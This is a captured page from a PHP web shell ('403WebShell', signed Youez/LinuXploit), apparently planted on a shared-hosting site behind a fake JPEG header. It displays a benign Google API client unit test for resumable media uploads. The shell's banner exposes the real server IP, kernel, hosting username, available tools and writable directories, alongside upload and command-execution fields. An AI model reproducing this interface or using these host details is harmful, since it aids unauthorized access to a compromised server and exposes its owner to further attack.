ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.72
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/taxhyuvu/www/vendor/google/apiclient/tests/Google/Http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/taxhyuvu/www/vendor/google/apiclient/tests/Google/Http/MediaFileUploadTest.php
<?php

/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the License is distributed on an
 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
 * KIND, either express or implied.  See the License for the
 * specific language governing permissions and limitations
 * under the License.
 */

namespace Google\Tests\Http;

use Google\Tests\BaseTest;
use Google\Http\MediaFileUpload;
use Google\Service\Drive;
use GuzzleHttp\Psr7;
use GuzzleHttp\Psr7\Request;

class MediaFileUploadTest extends BaseTest
{
    public function testMediaFile()
    {
        $client = $this->getClient();
        $request = new Request('POST', 'http://www.example.com');
        $media = new MediaFileUpload(
            $client,
            $request,
            'image/png',
            base64_decode('data:image/png;base64,a')
        );
        $request = $media->getRequest();

        $this->assertEquals(0, $media->getProgress());
        $this->assertGreaterThan(0, strlen($request->getBody()));
    }

    public function testGetUploadType()
    {
        $client = $this->getClient();
        $request = new Request('POST', 'http://www.example.com');

        // Test resumable upload
        $media = new MediaFileUpload($client, $request, 'image/png', 'a', true);
        $this->assertEquals('resumable', $media->getUploadType(null));

        // Test data *only* uploads
        $media = new MediaFileUpload($client, $request, 'image/png', 'a', false);
        $this->assertEquals('media', $media->getUploadType(null));

        // Test multipart uploads
        $media = new MediaFileUpload($client, $request, 'image/png', 'a', false);
        $this->assertEquals('multipart', $media->getUploadType(['a' => 'b']));
    }

    public function testProcess()
    {
        $client = $this->getClient();
        $data = 'foo';

        // Test data *only* uploads.
        $request = new Request('POST', 'http://www.example.com');
        $media = new MediaFileUpload($client, $request, 'image/png', $data, false);
        $request = $media->getRequest();
        $this->assertEquals($data, (string) $request->getBody());

        // Test resumable (meta data) - we want to send the metadata, not the app data.
        $request = new Request('POST', 'http://www.example.com');
        $reqData = json_encode("hello");
        $request = $request->withBody(Psr7\Utils::streamFor($reqData));
        $media = new MediaFileUpload($client, $request, 'image/png', $data, true);
        $request = $media->getRequest();
        $this->assertEquals(json_decode($reqData), (string) $request->getBody());

        // Test multipart - we are sending encoded meta data and post data
        $request = new Request('POST', 'http://www.example.com');
        $reqData = json_encode("hello");
        $request = $request->withBody(Psr7\Utils::streamFor($reqData));
        $media = new MediaFileUpload($client, $request, 'image/png', $data, false);
        $request = $media->getRequest();
        $this->assertStringContainsString($reqData, (string) $request->getBody());
        $this->assertStringContainsString(base64_encode($data), (string) $request->getBody());
    }

    public function testGetResumeUri()
    {
        $this->checkToken();

        $client = $this->getClient();
        $client->addScope("https://www.googleapis.com/auth/drive");
        $service = new Drive($client);
        $file = new Drive\DriveFile();
        $file->name = 'TESTFILE-testGetResumeUri';
        $chunkSizeBytes = 1 * 1024 * 1024;

        // Call the API with the media upload, defer so it doesn't immediately return.
        $client->setDefer(true);
        $request = $service->files->create($file);

        // Create a media file upload to represent our upload process.
        $media = new MediaFileUpload(
            $client,
            $request,
            'text/plain',
            null,
            true,
            $chunkSizeBytes
        );

        // request the resumable url
        $uri = $media->getResumeUri();
        $this->assertIsString($uri);

        // parse the URL
        $parts = parse_url($uri);
        $this->assertArrayHasKey('query', $parts);

        // parse the querystring
        parse_str($parts['query'], $query);
        $this->assertArrayHasKey('uploadType', $query);
        $this->assertArrayHasKey('upload_id', $query);
        $this->assertEquals('resumable', $query['uploadType']);
    }

    public function testNextChunk()
    {
        $this->checkToken();

        $client = $this->getClient();
        $client->addScope("https://www.googleapis.com/auth/drive");
        $service = new Drive($client);

        $data = 'foo';
        $file = new Drive\DriveFile();
        $file->name = $name = 'TESTFILE-testNextChunk';

        // Call the API with the media upload, defer so it doesn't immediately return.
        $client->setDefer(true);
        $request = $service->files->create($file);

        // Create a media file upload to represent our upload process.
        $media = new MediaFileUpload(
            $client,
            $request,
            'text/plain',
            null,
            true
        );
        $media->setFileSize(strlen($data));

        // upload the file
        $file = $media->nextChunk($data);
        $this->assertInstanceOf(Drive\DriveFile::class, $file);
        $this->assertEquals($name, $file->name);

        // remove the file
        $client->setDefer(false);
        $response = $service->files->delete($file->id);
        $this->assertEquals(204, $response->getStatusCode());
    }

    public function testNextChunkWithMoreRemaining()
    {
        $this->checkToken();

        $client = $this->getClient();
        $client->addScope("https://www.googleapis.com/auth/drive");
        $service = new Drive($client);

        $chunkSizeBytes = 262144; // smallest chunk size allowed by APIs
        $data = str_repeat('.', $chunkSizeBytes+1);
        $file = new Drive\DriveFile();
        $file->name = $name = 'TESTFILE-testNextChunkWithMoreRemaining';

        // Call the API with the media upload, defer so it doesn't immediately return.
        $client->setDefer(true);
        $request = $service->files->create($file);

        // Create a media file upload to represent our upload process.
        $media = new MediaFileUpload(
            $client,
            $request,
            'text/plain',
            $data,
            true,
            $chunkSizeBytes
        );
        $media->setFileSize(strlen($data));

        // upload the file
        $file = $media->nextChunk();
        // false means we aren't done uploading, which is exactly what we expect!
        $this->assertFalse($file);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit